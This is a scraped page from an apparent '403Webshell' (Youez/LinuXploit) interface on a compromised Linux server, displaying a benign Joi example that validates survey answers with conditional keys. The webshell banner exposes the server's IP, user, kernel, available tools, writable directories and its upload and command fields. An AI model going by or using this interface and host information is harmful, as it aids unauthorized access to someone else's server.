403Webshell
Server IP : 69.164.203.165  /  Your IP : 216.73.216.219
Web Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/homecoming-api/node_modules/joi/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/homecoming-api/node_modules/joi/examples/conditionalRequire.js
// This is an example of a survey to obtain the reputation of Parisians
// It contains examples of how to conditionally require keys based on values of other keys

var Joi = require('../');

// This is a valid value for integer rating 1 - 5
var intRating = Joi.number().integer().min(1).max(5);

var schema = Joi.object().keys({
    // Do you know any French people? yes or no (required)
    q1: Joi.boolean().required(),
    // Do you know any Parisians? yes or no (required if answered yes in q1)
    q2: Joi.boolean()
        .when('q1', { is: true, then: Joi.required() }),
    // How many french in paris do you know? 1-6, 6-10, 11-50 or 50+ (required if answered yes in q2)
    q3: Joi.string()
        .when('q2', { is: true, then: Joi.valid('1-5', '6-10', '11-50', '50+').required() }),
    // Rate 20% of most friendly Parisians, from how many people you know answered in q3, individually on 1-5 rating
    q4: Joi.array()
        .when('q3', {is: '1-5', then: Joi.array().min(0).max(1).items(intRating).required() })
        .when('q3', {is: '6-10', then: Joi.array().min(1).max(2).items(intRating).required() })
        .when('q3', {is: '11-50', then: Joi.array().min(2).max(10).items(intRating).required() })
        .when('q3', {is: '50+', then: Joi.array().min(10).items(intRating).required() }),
    // Rate remaining 80% of Parisians, from how many people you know answered in q3, individually on 1-5 rating
    q5: Joi.array()
        .when('q3', {is: '1-5', then: Joi.array().min(1).max(4).items(intRating).required() })
        .when('q3', {is: '6-10', then: Joi.array().min(4).max(8).items(intRating).required() })
        .when('q3', {is: '11-50', then: Joi.array().min(8).max(40).items(intRating).required() })
        .when('q3', {is: '50+', then: Joi.array().min(40).items(intRating).required().required() }),
    // Rate the reputation of Parisians in general, 1-5 rating
    q6: intRating.required()
});

var response = {
	q1: true,
	q2: true,
	q3: '1-5',
	q4: [5],
	q5: [1],
	q6: 2
};

Joi.assert(response, schema);

Youez - 2016 - github.com/yon3zu
LinuXploit